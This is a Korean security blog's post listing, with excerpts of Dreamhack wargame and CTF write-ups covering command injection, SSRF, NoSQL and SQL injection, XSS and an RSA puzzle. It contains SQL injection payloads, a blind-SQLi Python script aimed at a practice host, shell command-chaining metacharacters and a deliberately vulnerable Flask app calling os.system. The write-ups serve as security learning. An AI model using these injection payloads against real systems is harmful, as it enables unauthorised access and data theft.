전체 글 314

[Dreamhack Wargame] blind-command + curl

소스코드 분석 from flask import Flask, request import os app = Flask(__name__) @app.route('/' , methods=['GET']) def index(): cmd = request.args.get('cmd', '') if not cmd: return "?cmd=[cmd]" if request.method == 'GET': # 이거 우회 '' else: os.system(cmd) # 내부적으로 처리하고 끝 return cmd app.run(host='0.0.0.0', port=8000) - index 페이지 접근에 있어서 허용된 method = 'GET' - 하지만 request.method=='GET' 이면 os.system() 실행 안 된다 =..

security/웹해킹 2023.07.01

[Dreamhack Wargame] web-ssrf + SSRF에 대해

XSS (Cross Site Scripting) 공격할 사이트의 origin에서 스크립트를 실행시킴, 클라이언트 대상 공격으로 세션 및 쿠키 탈취 목적 CSRF (Cross Site Request Forgery) 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 임의 페이지에 HTTP 요청을 보내는 / 웹서비스의 임의 기능을 실행시키는 공격 SSRF (Server Side Requet Forgery) 웹 서비스의 요청을 변조하는 취약점으로, 브라우저가 변조된 요청을 보내는 CSRF와는 다르게 웹 서비스의 권한으로 변조된 요청 보냄 웹 서비스의 요청 내에 이용자의 입력값이 포함되어야 함 - 입력 URL에 요청 보내는 경우: 웹서비스의 마이크로서비스 API 주소를 파악한 후 접근 - 웹서비스의 요청 ..

security/웹해킹 2023.06.30

[Dreamhack Wargame] Command-Injection-1

Shell에서 사용 가능한 메타문자 `` 명령어 치환 `` 안에 들어있는 명령어를 실행한 결과로 치환됩니다. $() 명령어 치환 $()안에 들어있는 명령어를 실행한 결과로 치환됩니다. 이 문자는 위와 다르게 중복 사용이 가능합니다. (echo $(echo $(echo theori))) && 명령어 연속 실행 한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어를 실행합니다. || 명령어 연속 실행 한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. 앞 명령어에서 에러가 발생해야 뒷 명령어를 실행합니다. ; 명령어 구분자 한 줄에 여러 명령어를 사용하고 싶을 때 사용합니다. ;은 단순히 명령어를 구분하기 위해 사용하며, 앞 명령어의 에러 유무와 관계 없이 ..

security/웹해킹 2023.06.30

[Dreamhack Wargame] Mango + req.query 타입검사 미흡

db.collection('user').findOne({ 'uid': uid, 'upw': upw, }, function(err, result){ if (err){ res.send('err'); }else if(result){ res.send(result['uid']); }else{ res.send('undefined'); } }) - MongoDB blind SQLI - 성공, 실패 여부만 출력해주는 blind SQL Injection 상황이다 로컬 환경에서 테스트 npm install # package.json 파일에 명시된 버전의 패키지 설치 node main.js # main.js 파일 실행 app.get('/login', function(req, res) { const {uid, upw} = r..

security/웹해킹 2023.06.29

[Dreamhack Wargame] Simple_sqli + blind SQLI 스크립트

일반 풀이 SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY" SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY" SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY" 파이썬 스크립트 이용한 blind SQLI 풀이 import requests import string url = 'http://host3.dreamhack.games:18628/login' data = { 'userid': '', 'userpassword': '' } payload = 'admin" a..

security/웹해킹 2023.06.28

[Dreamhack Wargame] XSS-2

xss cheat sheet 사용해서 vuln 공략 Element.innerHTML 취약점 https://developer.mozilla.org/ko/docs/Web/API/Element/innerHTML const name = "John"; // assuming 'el' is an HTML DOM element el.innerHTML = name; // harmless in this case // ... name = ""; el.innerHTML = name; // harmless in this case 이것은 cross-site scripting 공격처럼 보일 수 있지만, 결과는 무해합니다. HTML5 는 innerHTML 과 함께 삽입된 태그가 실행되지 않도록 지정합니다. 그러나 요소를 사용하지 않..

security/웹해킹 2023.06.27

[Dreamhack Wargame] Carve Party

콘솔창에서 js로 해결하는게 젤 간단하긴 하지만 파이썬 자동클릭 매크로를 만들어 풀어보았다 import pyautogui import time if __name__ == '__main__': width, height = pyautogui.size() print(width, height) # 2560 1440 mouse_x, mouse_y = pyautogui.position() print(mouse_x, mouse_y) # python 파일 실행하는 순간 커서 위치 time.sleep(3) # 딜레이 pyautogui.click(x=width/2, y=height/2, button='left', clicks=9999, interval=0.0001)

security/웹해킹 2023.06.27

[Blitzs CTF] d + 파이썬 itertools!!

- 플래그(byte)를 long으로 바꾼 후 prime인지 확인 - q에 256bit 크기의 랜덤한 prime 넣음 - φ(n) = (p-1)(q-1) / e = 65537 / d = 228001~~~20490241918976205665073 인 RSA 암호화 같다 푸는 방향은 d * e ≡ 1 (mod φ(n)) ☞ d * e ≡ 1 (mod (p-1)(q-1)) ☞ d*e-1 ≡ 0 (mod (p-1)) ☞ d*e-1 = k (p-1) 형태 d와 e를 알기 때문에 d*e-1 의 약수들을 잘 살펴보면 p-1 구할 수 있겠다! - 무작정 브포 돌리면 케이스 너무 많기 때문에 https://www.alpertron.com.ar/ECM.HTM 이런 곳에서 먼저 num=d*e-1를 소인수분해해 약수 구한 다음..

security/암호학 2023.06.25